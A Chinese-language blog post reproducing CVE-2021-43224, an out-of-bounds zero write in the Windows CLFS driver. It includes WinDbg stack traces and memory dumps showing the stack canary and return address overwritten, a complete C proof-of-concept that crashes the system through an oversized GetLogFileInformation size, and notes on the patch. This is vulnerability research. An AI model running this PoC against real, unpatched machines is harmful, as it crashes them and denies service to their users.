CVE-2021-43224 漏洞复现
环境
虚拟机:Win10 1903 18362.30
物理机:Win10
debugger:windbg preview
compiler:vs2022
环境我就直接使用的,Win10 1903
漏洞分析
我调试漏洞的时候,用了三个clfs.sys
:Win10 1903
上的2019.03.19
的clfs.sys
,和两个MSRC
上下载的win8.1
的patch
前后的2021.09.18
、2021.11.16
的clfs.sys
(其中win8.1
的clfs.sys
并不能获取其pdb
)
我在调试该漏洞时,直接使用了该POC,先跑了一次,发现其crash
的地方为CClfsLogFcbVirtual::QueryLogFileInfo
,在该处下断点,发现当出现下述的调用链时,会发生crash
,或者说在POC
的最后一次system("pause")
之后的CClfsLogFcbVirtual::QueryLogFileInfo
就会crash
0: kd> kb
# RetAddr : Args to Child : Call Site
00 fffff804`2b3817fd : 00000000`00000002 ffffbb84`d1efbe00 ffffbb84`d04ed480 00000000`00000000 : CLFS!CClfsLogFcbVirtual::QueryLogFileInfo
01 fffff804`2b36508b : ffffbb84`d04ed480 00000000`00000110 ffffbb84`d3a33d30 ffffbb84`ce0a0600 : CLFS!CClfsRequest::LogFileInfo+0x149
02 fffff804`2b364e37 : ffffbb84`d04ed480 00007ffd`60c43380 ffffbb84`ceb07d80 ffff9480`00293b42 : CLFS!CClfsRequest::Dispatch+0xb7
03 fffff804`2b364d87 : ffffbb84`d1efbe00 ffffbb84`d1efbe00 00000000`00000001 00000000`00000000 : CLFS!ClfsDispatchIoRequest+0x87
04 fffff804`2a4ddda9 : ffffbb84`d1efbe00 00000000`00000001 00000000`00000001 00000000`0000020c : CLFS!CClfsDriver::LogIoDispatch+0x27
05 fffff804`2aacbdd5 : ffffcf04`d196bb80 ffffbb84`d1efbe00 00000000`00000001 ffffbb84`d3a33d30 : nt!IofCallDriver+0x59
06 fffff804`2aacb72a : ffffbb84`d1efbe00 ffffcf04`d196bb80 00000000`80076818 ffffcf04`d196bb80 : nt!IopSynchronousServiceTail+0x1a5
07 fffff804`2aacb146 : 00007ffd`60c43380 00000000`00000000 00000000`00000000 00000000`00000000 : nt!IopXxxControlFile+0x5ca
08 fffff804`2a683e95 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!NtDeviceIoControlFile+0x56
09 00007ffd`6765c144 : 00007ffd`653f57b7 00000000`00000000 00000000`00000100 00000197`00000001 : nt!KiSystemServiceCopyEnd+0x25
0a 00007ffd`653f57b7 : 00000000`00000000 00000000`00000100 00000197`00000001 00000000`00000003 : ntdll!NtDeviceIoControlFile+0x14
0b 00000000`00000000 : 00000000`00000100 00000197`00000001 00000000`00000003 00000093`bdcff9a0 : 0x00007ffd`653f57b7
其漏洞原因也很简单,如下图所示,其漏洞为,在间接调用时,调用CClfsLogFcbPhysical::QueryLogFileInfo
时,会对于该参数进行memset(src, 0, *a7)
的操作,而*a7
就是我们输入size
大小,而src
的大小为0x78
,因此就会造成越界写零
调用CClfsLogFcbPhysical::QueryLogFileInfo
之前的CClfsLogFcbVirtual::QueryLogFileInfo
的栈帧如下
CLFS!CClfsLogFcbVirtual::QueryLogFileInfo:
fffff807`05759070 4053 push rbx
fffff807`05759072 56 push rsi
fffff807`05759073 57 push rdi
fffff807`05759074 4154 push r12
fffff807`05759076 4155 push r13
fffff807`05759078 4156 push r14
fffff807`0575907a 4157 push r15
fffff807`0575907c 4881ecf0000000 sub rsp, 0F0h
fffff807`05759083 488b05a63fffff mov rax, qword ptr [CLFS!__security_cookie (fffff8070574d030)]
fffff807`0575908a 4833c4 xor rax, rsp
fffff807`0575908d 48898424e0000000 mov qword ptr [rsp+0E0h], rax
1: kd> dq rsp rsp+0x128
fffff986`f0d95570 00000000`00000000 00000000`00000000
fffff986`f0d95580 00000000`00000000 00000000`00000000
fffff986`f0d95590 00000000`00000000 00000000`00000000
fffff986`f0d955a0 00000000`00000000 00000000`00000000
fffff986`f0d955b0 00000000`00000000 00000000`00000000
fffff986`f0d955c0 00000000`00000000 00000000`00000000
fffff986`f0d955d0 00000000`00000000 00000000`00000000
fffff986`f0d955e0 00000000`00000000 00000000`00000000
fffff986`f0d955f0 00000000`00000000 00000000`00000000
fffff986`f0d95600 00000000`00000001 fffff807`048e3b07
fffff986`f0d95610 ffff8687`0795ba58 00000000`00000000
fffff986`f0d95620 00000000`00000000 00000000`00000002
fffff986`f0d95630 00000000`00000000 fffff807`0575907c
fffff986`f0d95640 00000000`00000010 00000000`00040301
fffff986`f0d95650 fffff986`f0d95660 00000000`00000018
fffff986`f0d95660 ffff8687`047d1c01 ffff8687`06b70c70 <= ffff8687`047d1c01 canary
fffff986`f0d95670 00000000`00000001 00000000`00000000
fffff986`f0d95680 ffff8687`02f39a80 ffff8687`06b70b00
fffff986`f0d95690 00000000`00000000 fffff807`057817fd <= fffff807`057817fd ret addr
fffff986`f0d956a0 00000000`00000002 ffff8687`06b70b00
fffff986`f0d956b0 ffff8687`02f39a80 00000000`00000000
fffff986`f0d956c0 00000000`00000004 ffff8687`02ca08c0
fffff986`f0d956d0 fffff986`f0d95738 00000000`00000160
fffff986`f0d956e0 00000000`00000001 ffff8687`02ca08c8
调用CClfsLogFcbPhysical::QueryLogFileInfo
之后的CClfsLogFcbVirtual::QueryLogFileInfo
的栈帧如下,其canary
和ret addr
都被覆盖了
after call CClfsLogFcbPhysical::QueryLogFileInfo
1: kd> dq fffff986`f0d955d0 fffff986`f0d955d0+0x118
fffff986`f0d955d0 00000000`00000000 00000000`00000000
fffff986`f0d955e0 00000000`00000000 00000000`00010000
fffff986`f0d955f0 00000000`00000000 00000000`00000000
fffff986`f0d95600 00000000`00000002 00000200`00009c40
fffff986`f0d95610 00000000`00000000 00000000`00000000
fffff986`f0d95620 00000000`00000000 00000000`00000000
fffff986`f0d95630 ffffffff`00000000 11ed2ea7`221ace71
fffff986`f0d95640 a32f0e59`6c04c9a3 00000000`00000000
fffff986`f0d95650 00000000`00000000 00000000`00000000
fffff986`f0d95660 00000000`00000000 00000000`00000000
fffff986`f0d95670 00000000`00000000 00000000`00000000
fffff986`f0d95680 00000000`00000000 00000000`00000000
fffff986`f0d95690 00000000`00000000 00000000`00000000
fffff986`f0d956a0 00000000`00000000 00000000`00000000
fffff986`f0d956b0 00000000`00000000 00000000`00000000
fffff986`f0d956c0 00000000`00000000 00000000`00000000
fffff986`f0d956d0 00000000`00000000 00000000`00000000
fffff986`f0d956e0 00000000`00000001 ffff8687`02ca08c8
POC
我直接用的这个POC,所以上述调试的时候,0x110
就是来自于此,刚好可以覆盖到返回值
#include <Windows.h>
#include <wchar.h>
#include <iostream>
#include <clfsw32.h>
#include <Clfsmgmtw32.h>
#pragma comment(lib, "clfsw32.lib")
int main() {
wchar_t szLogPath[] = L"LOG:C:\\Users\\Public\\MyLog::Stream1";
//wchar_t szLogPath[] = L"??\\LOG:\\HarddiskVolume0\\MyLog";
//wchar_t szLogPath[] = L"LOG:\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0\\Users\\Public\\MysssLog";
//\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0
//SECURITY_ATTRIBUTES psaLogFile = {};
HANDLE hLog = CreateLogFile(szLogPath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, NULL);
if (INVALID_HANDLE_VALUE == hLog)
{
printf("error=%d\n", GetLastError());
return 1;
}
if (!RegisterManageableLogClient(hLog, 0))
printf("error=%d\n", GetLastError());
printf("hLog=%p\n", hLog);
CLFS_INFORMATION pinfoBuffer = {};
//ULONG infoSize = sizeof(pinfoBuffer);
ULONG infoSize = 0x110;
system("pause");
DWORD dwRet = GetLogFileInformation(hLog, &pinfoBuffer, &infoSize);
if (dwRet == NULL)
{
printf("error=%d\n", GetLastError());
return 1;
}
printf("dwRet=%08x\n", dwRet);
return 0;
}
patch
我分析patch
的时候,是直接用的2021.09.18
、2021.11.16
的clfs.sys
,可能因为是win8.1
的,所以没pdb
,直接防止输入的大小大于0x78
该POC的整个流程
后续,看了一下,用户态的接口是如何和内核态的驱动调用联系上的
clfsw32!CreateLogFile -> ntdll!NtCreateFile
clfsw32!RegisterManageableLogClient -> KERNELBASE!DeviceIoControl -> ntdll!NtDeviceIoControlFile
clfsw32!GetLogFileInformation -> KERNELBASE!DeviceIoControl -> ntdll!NtDeviceIoControlFile
总结
整个漏洞不是很复杂,漏洞的危害也只能达到BSOD
,不确定间接跳转是否能跳转到其他的地方,还需要继续分析
参考
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!